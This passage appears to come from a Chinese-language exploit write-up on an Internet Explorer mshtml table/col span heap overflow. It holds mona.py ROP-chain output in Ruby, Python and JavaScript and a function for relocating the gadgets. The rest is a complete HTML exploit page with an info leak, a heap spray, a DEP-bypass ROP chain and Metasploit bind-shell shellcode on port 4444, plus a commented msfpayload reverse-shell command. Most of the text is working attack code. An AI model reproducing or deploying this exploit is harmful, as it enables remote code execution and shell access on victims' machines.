EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualAlloc()
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] :
--------------------------------------------------------
*** [ Ruby ] ***
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x6901303f, # POP EBP # RETN [mshtml.dll]
0x6901303f, # skip 4 bytes [mshtml.dll]
0x68f5e366, # POP EBX # RETN [mshtml.dll]
0x00000001, # 0x00000001-> ebx
0x68f0ced0, # POP EDX # RETN [mshtml.dll]
0x00001000, # 0x00001000-> edx
0x6920f24a, # POP ECX # RETN [mshtml.dll]
0x00000040, # 0x00000040-> ecx
0x68fa30d7, # POP EDI # RETN [mshtml.dll]
0x68ff38e2, # RETN (ROP NOP) [mshtml.dll]
0x692b8fed, # POP ESI # RETN [mshtml.dll]
0x68e7c0a3, # JMP [EAX] [mshtml.dll]
0x68f5a075, # POP EAX # RETN [mshtml.dll]
0x68e7134c, # ptr to &VirtualAlloc() [IAT mshtml.dll]
0x6910e967, # PUSHAD # RETN [mshtml.dll]
0x68eab04f, # ptr to 'jmp esp' [mshtml.dll]
].flatten.pack("V*")
return rop_gadgets
end
# Call the ROP chain generator inside the 'exploit' function :
rop_chain = create_rop_chain()
*** [ Python ] ***
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = ""
rop_gadgets += struct.pack('<L',0x6901303f) # POP EBP # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x6901303f) # skip 4 bytes [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68f5e366) # POP EBX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000001) # 0x00000001-> ebx
rop_gadgets += struct.pack('<L',0x68f0ced0) # POP EDX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00001000) # 0x00001000-> edx
rop_gadgets += struct.pack('<L',0x6920f24a) # POP ECX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x00000040) # 0x00000040-> ecx
rop_gadgets += struct.pack('<L',0x68fa30d7) # POP EDI # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68ff38e2) # RETN (ROP NOP) [mshtml.dll]
rop_gadgets += struct.pack('<L',0x692b8fed) # POP ESI # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68e7c0a3) # JMP [EAX] [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68f5a075) # POP EAX # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68e7134c) # ptr to &VirtualAlloc() [IAT mshtml.dll]
rop_gadgets += struct.pack('<L',0x6910e967) # PUSHAD # RETN [mshtml.dll]
rop_gadgets += struct.pack('<L',0x68eab04f) # ptr to 'jmp esp' [mshtml.dll]
return rop_gadgets
rop_chain = create_rop_chain()
*** [ JavaScript ] ***
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%u303f%u6901" + // 0x6901303f : ,# POP EBP # RETN [mshtml.dll]
"%u303f%u6901" + // 0x6901303f : ,# skip 4 bytes [mshtml.dll]
"%ue366%u68f5" + // 0x68f5e366 : ,# POP EBX # RETN [mshtml.dll]
"%u0001%u0000" + // 0x00000001 : ,# 0x00000001-> ebx
"%uced0%u68f0" + // 0x68f0ced0 : ,# POP EDX # RETN [mshtml.dll]
"%u1000%u0000" + // 0x00001000 : ,# 0x00001000-> edx
"%uf24a%u6920" + // 0x6920f24a : ,# POP ECX # RETN [mshtml.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> ecx
"%u30d7%u68fa" + // 0x68fa30d7 : ,# POP EDI # RETN [mshtml.dll]
"%u38e2%u68ff" + // 0x68ff38e2 : ,# RETN (ROP NOP) [mshtml.dll]
"%u8fed%u692b" + // 0x692b8fed : ,# POP ESI # RETN [mshtml.dll]
"%uc0a3%u68e7" + // 0x68e7c0a3 : ,# JMP [EAX] [mshtml.dll]
"%ua075%u68f5" + // 0x68f5a075 : ,# POP EAX # RETN [mshtml.dll]
"%u134c%u68e7" + // 0x68e7134c : ,# ptr to &VirtualAlloc() [IAT mshtml.dll]
"%ue967%u6910" + // 0x6910e967 : ,# PUSHAD # RETN [mshtml.dll]
"%ub04f%u68ea" + // 0x68eab04f : ,# ptr to 'jmp esp' [mshtml.dll]
""); // :
--------------------------------------------------------------------------------------------------
ROP generator finished
[+] Preparing output file 'stackpivot.txt'
- (Re)setting logfile stackpivot.txt
[+] Writing stackpivots to file stackpivot.txt
Wrote 18720 pivots to file
[+] Preparing output file 'rop_suggestions.txt'
- (Re)setting logfile rop_suggestions.txt
[+] Writing suggestions to file rop_suggestions.txt
Wrote 7535 suggestions to file
[+] Preparing output file 'rop.txt'
- (Re)setting logfile rop.txt
[+] Writing results to file rop.txt (49111 interesting gadgets)
Wrote 49111 interesting gadgets to file
[+] Writing other gadgets to file rop.txt (77513 gadgets)
Wrote 77513 other gadgets to file
Done
[+] This mona.py action took 0:47:42.121000
此时生成的ROP是绝对地址的,我们来用python生成相对地址,具体见我的另一篇文章
function ROP_RVA(base){
var result="unsecape(\"";
result+="%u"+("000"+((base+0x6d743)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6d743)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x6d743)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6d743)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x43240a)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x43240a)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+0x201.toString(16)).substr(-4)+"%u0000";
result+="%u"+("000"+((base+0x2fb796)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x2fb796)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+0x40.toString(16)).substr(-4)+"%u0000";
result+="%u"+("000"+((base+0x2e7863)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x2e7863)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x538737)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x538737)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x1dca2f)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1dca2f)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x1838e2)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1838e2)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x224dfb)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x224dfb)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0xc0a3)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0xc0a3)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x3513ef)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x3513ef)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x1348)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1348)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x6cce2)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6cce2)/0x10000).toString(16)).substr(-4);
result+="%u"+("000"+((base+0x3b04f)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x3b04f)/0x10000).toString(16)).substr(-4);
result+="\")";
return result
}
ROP后边跟shellcode,再布置heap spray,最后的利用代码为:
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table>
<script language='javascript'>
function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
var fr = new Array();
var al = new Array();
var bl = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100-6)/2);
al[i] = string1.substring(0, (0x100-6)/2);
bl[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
fr[i] = null;
CollectGarbage();
}
function heapspray(cbuttonlayout) {
CollectGarbage();
var rop = cbuttonlayout + 4161; // RET
var rop = rop.toString(16);
var rop1 = rop.substring(4,8);
var rop2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 11360; // POP EBP
var rop = rop.toString(16);
var rop3 = rop.substring(4,8);
var rop4 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
var rop = rop.toString(16);
var rop5 = rop.substring(4,8);
var rop6 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12377; // POP EBX
var rop = rop.toString(16);
var rop7 = rop.substring(4,8);
var rop8 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 642768; // POP EDX
var rop = rop.toString(16);
var rop9 = rop.substring(4,8);
var rop10 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12201; // POP ECX --> Changed
var rop = rop.toString(16);
var rop11 = rop.substring(4,8);
var rop12 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 5504544; // Writable location
var rop = rop.toString(16);
var writable1 = rop.substring(4,8);
var writable2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12462; // POP EDI
var rop = rop.toString(16);
var rop13 = rop.substring(4,8);
var rop14 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 12043; // POP ESI --> changed
var rop = rop.toString(16);
var rop15 = rop.substring(4,8);
var rop16 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 63776; // JMP EAX
var rop = rop.toString(16);
var jmpeax1 = rop.substring(4,8);
var jmpeax2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 85751; // POP EAX
var rop = rop.toString(16);
var rop17 = rop.substring(4,8);
var rop18 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 4936; // VirtualProtect()
var rop = rop.toString(16);
var vp1 = rop.substring(4,8);
var vp2 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
var rop = rop.toString(16);
var rop19 = rop.substring(4,8);
var rop20 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 234657; // PUSHAD
var rop = rop.toString(16);
var rop21 = rop.substring(4,8);
var rop22 = rop.substring(0,4); // } RET
var rop = cbuttonlayout + 408958; // PUSH ESP
var rop = rop.toString(16);
var rop23 = rop.substring(4,8);
var rop24 = rop.substring(0,4); // } RET
var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
shellcode+= unescape("%u4141%u4141"); // PADDING
shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN
// Standard DEP bypass
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP
shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
shellcode+= unescape("%u0040%u0000"); // 0x00000040
shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX
shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
shellcode+= unescape("%u9090%u9090"); // NOPs
shellcode+= unescape("%u9090%u9090"); // NOPs
shellcode+= unescape("%u9090%u9090"); // NOPs
// Bind shellcode on 4444 :)
// msf > generate -t js_le
// windows/shell_bind_tcp - 342 bytes
// http://www.metasploit.com
// VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
// EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
// I would keep the shellcode the same size for better reliability :) also would stay away from meterpreter/reverse_tcp
// You can also generate as follows: msfpayload windows/meterpreter/reverse_https LHOST=192.168.12.13 LPORT=443 R | msfencode -a x86 -t js_le
shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
"%u006a%uff53%u41d5");
// Total spray should be 1000
var padding = unescape("%u9090");
while (padding.length < 1000)
padding = padding + padding;
var padding = padding.substr(0, 1000 - shellcode.length);
shellcode+= padding;
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<100; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}
function leak(){
var leak_col = document.getElementById("132");
leak_col.width = "41";
leak_col.span = "19";
}
function get_leak() {
var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
str_addr = str_addr - 1410704;
var hex = str_addr.toString(16);
//alert(hex);
setTimeout(function(){heapspray(str_addr)}, 50);
}
function trigger_overflow(){
var evil_col = document.getElementById("132");
evil_col.width = "1245880";
evil_col.span = "44";
}
setTimeout(function(){leak()}, 400);
setTimeout(function(){get_leak()},450);
setTimeout(function(){trigger_overflow()}, 700);
</script>
</body>
</html>
1. https://www.exploit-db.com/exploits/24017/
2. 漏洞战争
3. http://bbs.pediy.com/showthread.php?t=202089